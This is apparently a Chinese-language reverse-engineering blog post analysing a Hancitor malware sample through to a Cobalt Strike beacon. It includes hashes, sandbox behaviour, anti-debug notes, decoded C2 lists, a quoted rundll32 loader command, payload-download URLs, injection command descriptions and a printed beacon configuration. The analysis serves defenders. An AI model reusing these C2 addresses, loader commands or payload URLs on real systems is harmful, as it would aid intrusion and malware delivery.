intro

之前看过两个hancitor的样本,但是从现在看来做的都太简单了,而且当时的各方面知识也都不是很完善。于是找了2021.12.26日的样本重新做一次详尽的分析。

如果有错误可以联系我

qq:2466811523

mail: 2466811523@qq.com

静态分析

md5: 9f09b1dd6235c28b091a7dbc9bcd9482
sha1: b7ac19b82e2f946e7cc047421875bbade3e880fd
sha256: 571cba0431acea4739c5248de1b1d33e76e995b3c7454f4d88d2785ade6fdf74

vt: https://www.virustotal.com/gui/file/571cba0431acea4739c5248de1b1d33e76e995b3c7454f4d88d2785ade6fdf74/details

hybrid: https://hybrid-analysis.com/sample/571cba0431acea4739c5248de1b1d33e76e995b3c7454f4d88d2785ade6fdf74/61bb60be5679f80b2921e45a

Reference:

http://blog.nsfocus.net/beaconeye-cs/

https://www.malware-traffic-analysis.net/2021/12/16/index.html

区块信息

image-20220421160905565

导入函数

kernel32.dll

导入了EnterCriticalSection,DeleteCriticalSection,Exitprocess,WriteFile,猜测存在文件操作行为,反调试行为。

image-20220421161324695

image-20220421161351659

advapi.dll

存在注册表操作函数

image-20220421161558623

沙箱行为分析

网络行为

沙箱中存在网络行为

image-20220424145411025

post

image-20220424151443896

传的数据经过了加密

1
DATA=R1VJRD0xMDQyMzA1MTAwMTU0MjczNTA4NCZCVUlMRD0xNjEyX21jeHBsa2pnJklORk89ODM1MTgwIEAgREVTS1RPUC03MTZUNzcxXGhhcmR6JkVYVD0mSVA9MTAyLjEyOS4xNDMuNjImVFlQRT0xJldJTj0xMC4wKHg2NCkA

注册表行为

设置了HKU\S-1-5-21-575823232-3065301323-1442773979-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\[ProxyServer/ProxyEnable],http启用代理。

image-20220421170202661

1
46 00 00 00 04 01 00 00 03 00 00 00 14 00 00 00 65 78 74 72 61 63 74 6F 72 2E 70 72 6F 78 79 3A 38 30 38 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D0 5C 01 4D C1 D5 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

得到的主要信息为我们获得了代理服务器

1
2
65 78 74 72 61 63 74 6F 72 2E 70 72 6F 78 79 3A 38 30 38 30
extractor.proxy:8080

What’s the format of the DefaultConnectionSettings value in the Windows registry?

regsvc32.exe

可疑注册表

1
2
HKEY_CURRENT_USER_Classes\dllfile\AutoRegister
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\dllfile\AutoRegister

image-20220424152518074

进程行为

1
2
3
4
5
%windir%\System32\svchost.exe -k WerSvcGroup
wmiadap.exe /F /T /R
"c:\windows\system32\regsvr32.exe" C:\Users\ADMINI~1\AppData\Local\Temp\b7ac19b82e2f946e7cc047421875bbade3e880fd.dll
C:\Windows\system32\WerFault.exe -u -p 2088 -s 300
"c:\windows\system32\rundll32.exe" C:\Users\ADMINI~1\AppData\Local\Temp\b7ac19b82e2f946e7cc047421875bbade3e880fd.dll, DllRegisterServer

注册服务

image-20220424143052701

Mutex

1
2
3
Local\WERReportingForProcess2088
Global\10443951-6e48-11ec-95c3-6c4b90457b65
DBWinMutex

Decoded Config

{“Campaign Id”: “1612_mcxplkjg”, “C2 list”: [“http://hiltustra.com/9/forum.php", “http://corelince.ru/9/forum.php", “http://mernwel.ru/9/forum.php"]}

from ZenBox

antiDebug

这里还不太清楚为什么这个regsvr32.exe会被识别为anti-debug

image-20220424144202382

函数分析

image-20220424145455392

行为图

image-20220424145855421

image-20220424145626481

反汇编分析

导出函数DllRegisterServer如下

image-20220425130446643

反调试

导出函数的第一个函数为,这里可以看到QueryPerformanceCounter函数,是用于检测时间的函数

image-20220425135412146

sub_1000786D函数中调用了SetUnhandledExceptionFilter函数,一般用于引发异常的反调试,当引发异常后会跳转到TopLevelException

image-20220425140009666

看看TopLevelExceptionFilter,应该是动态解密的数据。

image-20220425135244692

  • QueryPerformanceCounter
  • IsProcessorFeaturePresent
  • SetUnhandledExceptionFilter

https://docs.microsoft.com/en-us/windows/win32/api/profileapi/nf-profileapi-queryperformancecounter

https://docs.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-setunhandledexceptionfilter

debug

debug DllRegisterServer

image-20220425130918278

在加密数据处打硬件访问断点然后运行后到达如下

image-20220425153401093

这边已经开始对内存地址进行清零了,说明这段数据已经解密成功并存储到内存地址的某处了,我们直接打开内存布局,找到具有执行权限的内存区域

image-20220425153612582

执行完后发现0xf00000(随机生成)区域处内存如下,此时可以dump出我们Stage2 payload

image-20220425155004204

Stage2 Payload

启动方式

向本地发送10个ping数据包,并使用rundll32.exe执行iff.bin文件的导出函数WCWGVXGWTDGAWLW

1
cmd.exe /c ping localhost -n 10 && rundll32.exe iff.bin,WCWGVXGWTDGAWLW

静态分析

md5: c90ad5fe64f4f02fb1f77005f95161d6
sha1: def89402bbff6a694c0adc82ee0d937f0a02182c
sha256: 19a7b1957104c4c01958ff3be6cc6688c9d34f725180bd4cc7d1373228dfbbc8

导出函数WCWGVXGWTDGAWLW

image-20220425162446941

sub_10001519

image-20220426143423341

mw_sendHostConfigAndRead

首先获取主机的各种信息包括系统、主机名、公网IP、系统位数,然后根据系统位数进行生成配置信息,并准备加密发送给远程主机。

The DsEnumerateDomainTrusts function obtains domain trust data for a specified domain.

关于域信任关系:在同一个域内,成员服务器根据Active Directory中的用户账号,可以很容易地把资源分配给域内的用户.但一个域的作用范围毕竟有限,有些企业会用到多个域,那么在多域环境下,我们该如何进行资源的跨域分配呢?也就是说,我们该如何把A域的资源分配给B域的用户呢?一般来说,我们有两种选择,一种是使用镜像账户.也就是说,我们可以在A域和B域内各自创建一个用户名和口令都完全相同的用户账户,然后在B域把资源分配给这个账户后,A域内的镜像账户就可以访问B域内的资源了

红队通过收集域信任关系从而进行横向移动.通过调用DSEnumerateDomainTrusts() Win32 API,来进行枚举

image-20220425163412862

image-20220426135038998

主机信息会通过base64加密,最后由网络行为发送到远程主机

image-20220425193018919

mw_Internet

image-20220426135154090

mwDecryptReadData

那么我们可以通过这段代码获得什么呢?也就是返回数据的解密方式

image-20220426140528240

首先跳过前四个字节也就是35 30 0d 0a,然后首先进行base64解密,然后xor解密即可得到payload

image-20220426140540839

我们解密一下malware-traffic中的流量包数据

image-20220426140056032

mw_commandList

看到后面就会发现这几个字符没有参与加密,为传入的命令列表字符串。

image-20220426143122263

mw_judgeCommand

命令

Command Detail
b: Download and inject into svchost.exe
e: Download and inject into running process
l: Download shellcode and inject into svchost.exe or current process
r: Download and inject into svchost.exe, check file its downloading
n: Do not download (could be utilized as a check to see if victim still active)

但是2021.12.16日这个样本中多了一条命令f

Command Detail
b: Download and inject into svchost.exe
e: Download and inject into running process
l: Download shellcode and inject into svchost.exe or current process
r: Download and inject into svchost.exe, check file its downloading
n: Do not download (could be utilized as a check to see if victim still active)
f: Download the shellcode,infect into the svchost.exe or the running process.(start a thread that inherit the object handle,then inject into the shellcode)
command n

Do not download (could be utilized as a check to see if victim still active)

command b

Download and inject into svchost.exe

  • heapAlloc
  • getPayload

image-20220426150058134

command e,l

e:Download and inject into running process

l:Download shellcode and inject into svchost.exe or current process

  • heapAlloc
  • getPayload

image-20220426150629206

command f
  • HeapAlloc

  • getPayload

image-20220426150811588

command r

Download and inject into svchost.exe, check file its downloading

  • HeapAlloc

  • getPayload

image-20220426151343946

command f

我们看一下这里f传入了HANDLE_FLAG_INHERIT参数

image-20220426124924383

这意味着会创建一个继承了父进程对象handle的子进程

Value Meaning
HANDLE_FLAG_INHERIT0x00000001 If this flag is set, a child process created with the bInheritHandles parameter of CreateProcess set to TRUE will inherit the object handle.

主要代码逻辑在sub_10002A0B函数里

image-20220426125918651

首先check一下hProcess也就是HANDLE_FLAG_INHERIT,该参数默认值为1,如果不存在的话就通过线程的方式启动shellcode,存在的话就以代码注入的方式启动。

这里代码设定死了参数,也就是这里只会以代码注入svchost.exe的方式启动

image-20220426151117849

tips

配置文件仍然使用sha1和rc4加密,前8byte用sha1加密,然后使用rc4解密pbData即可

image-20220428112736032

decrypt

1
1612_mcxplkjg...http://hiltustra.com/9/forum.php|http://corelince.ru/9/forum.php|http://mernwel.ru/9/forum.php|

image-20220428123831330

Stage3 Payload

那么第二阶段的payload也分析完毕了,我们看看第三阶段的payload会执行什么操作呢?首先我们得先提取出第三阶段的payload,上面说到我们已经提取出了流量中我们得到的payload

1
{f:http://sineko7.ru/37s.bin}{f:http://sineko7.ru/37.bin}

然后shellcode加载可以断到InternetConnectA函数,C2的Ip地址为104.128.232.37

image-20220426202435662

这段shellcode的伪代码,是Metasploit的动态函数的混淆方式,利用hashdb恢复函数逻辑

image-20220427153630325

然后shellcode的代码逻辑如下

image-20220427172330409

通过HttpRequestA访问104.128.232.37/bfGM

image-20220427112022448

HttpSendRequestA发送请求,然后如果请求成功后会用InternetReadFile去读取下一阶段的payload

image-20220427112238919

然后会发现shellcode大部分相同,只是访问的URL修改为了/TdSQ.

截屏2022-04-27 17.47.19

Stage4 Payload

经调试发现如下代码动调解密了后面的代码

image-20220427183907285

执行完后会发现Dos Stub头,我们可以dump出PE文件

image-20220427184002914

Stage5 Payload

函数入口位于导出函数ReflectiveLoader,是beacon.dll的导出函数

image-20220427184816791

用PE-bear打开发现确实是beacon.dll

image-20220428094738533

由于beacon对配置的异或密钥是固定的,我们可以直接通过cyberchef对beacon提取c2(3.x版本的CobaltStrike默认是0x69,对4.x版本的CobalStrike默认是0x2e)

image-20220428095422065

利用脚本提取config,虽然这里显示有已知的私钥,但经过尝试发现无法解密cs流量的cookie。猜测私钥错误。由于私钥没有泄漏导致cookie和后面的命令无法解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
File: loader_009E0000.bin
payloadType: 0x10015044
payloadSize: 0x00000000
intxorkey: 0x00000000
id2: 0x00000000
Config found: xorkey b'.' 0x00030620 0x00032ec2
0x0001 payload type 0x0001 0x0002 0 windows-beacon_http-reverse_http
0x0002 port 0x0001 0x0002 80
0x0003 sleeptime 0x0002 0x0004 60000
0x0004 maxgetsize 0x0002 0x0004 1048576
0x0005 jitter 0x0001 0x0002 0
0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100a70991d69d816a601ffa80976473830f0d3b41276d2790401ddedb18e2d3cab3c315e3222325be42b65adb2878f33f5a03ff5010b23e842a510c1482ad6a42f1e7e5726eb31813e7437640ed7879955f401e172c34d3517241596dd41f8e48d3d1b1c288e6c8752ff65dc27acccba4ba9cd6d0e4de6196cea4da480d3b99d0ed020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Has known private key
0x0008 server,get-uri 0x0003 0x0100 '104.128.232.37,/updates.rss'
0x0043 0x0001 0x0002 0
0x0044 0x0002 0x0004 4294967295
0x0045 0x0002 0x0004 4294967295
0x0046 0x0002 0x0004 4294967295
0x000e SpawnTo 0x0003 0x0010 (NULL ...)
0x001d spawnto_x86 0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe'
0x001e spawnto_x64 0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe'
0x001f CryptoScheme 0x0001 0x0002 0
0x001a get-verb 0x0003 0x0010 'GET'
0x001b post-verb 0x0003 0x0010 'POST'
0x001c HttpPostChunk 0x0002 0x0004 0
0x0025 license-id 0x0002 0x0004 1580103824 Stats uniques -> ips/hostnames: 42 publickeys: 10
0x0026 bStageCleanup 0x0001 0x0002 0
0x0027 bCFGCaution 0x0001 0x0002 0
0x0009 useragent 0x0003 0x0100 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2)'
0x000a post-uri 0x0003 0x0040 '/submit.php'
0x000b Malleable_C2_Instructions 0x0003 0x0100 '\x00\x00\x00\x04'
0x000c http_get_header 0x0003 0x0200
Cookie
0x000d http_post_header 0x0003 0x0200
&Content-Type: application/octet-stream
id
0x0036 HostHeader 0x0003 0x0080 (NULL ...)
0x0032 UsesCookies 0x0001 0x0002 1
0x0023 proxy_type 0x0001 0x0002 2 IE settings
0x003a 0x0003 0x0080 '\x00\x04'
0x0039 0x0003 0x0080 '\x00\x04'
0x0037 0x0001 0x0002 0
0x0028 killdate 0x0002 0x0004 0
0x0029 textSec

本文采用CC-BY-SA-3.0协议,转载请注明出处
Author: scr1pt